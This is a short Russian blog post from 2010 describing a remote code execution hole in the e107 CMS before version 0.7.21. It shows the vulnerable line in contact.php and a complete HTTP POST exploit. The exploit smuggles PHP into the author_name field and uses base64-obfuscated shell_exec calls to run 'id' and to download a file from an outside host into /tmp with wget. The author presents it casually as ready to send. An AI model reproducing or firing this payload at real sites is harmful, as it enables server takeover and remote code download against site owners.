понедельник, 2 августа 2010 г.

Как ломают e107 < 0.7.21

Нашёл-таки, как именно команды скарливают этой поделке дырявой.
В файле contact.php есть строчка:
$sender_name = $tp->toEmail($_POST['author_name'],TRUE,"rawtext");
 Туда суётся такая конструкция:
author_name=[php]"$cmd";die();[_php]
И вуаля - выполнена команда с правами юзера, от которого скрипты работают. Если пыхпых работает как модуль - то правами апача ))
Вот так вот.
Сам http запрос выглядит так (имена хостов изменены):

POST /e107/contact.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: test.domain.ru
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded
Content-Length: 259

send-contactus=1&author_name=%5Bphp%
5Decho(base64_decode("QmFNYlk=").shell_exec(base64_decode("aWQ=")).base64_decode("Qnlyb2VOZXQ=")).shell_exec(base64_decode("Y2QgL3RtcDt3Z2V0IGh0dHA6Ly9kb21haW4ub3JnL2hlbGxvLnR4dDsK"))%3Bdie%28%29%3B%5B%2Fphp%5D
Строчку суём хоть сплойтом, хоть плагином для фокса, хоть телнетом )))

Тестировал на CentOS + nginx + php-fpm

Комментариев нет: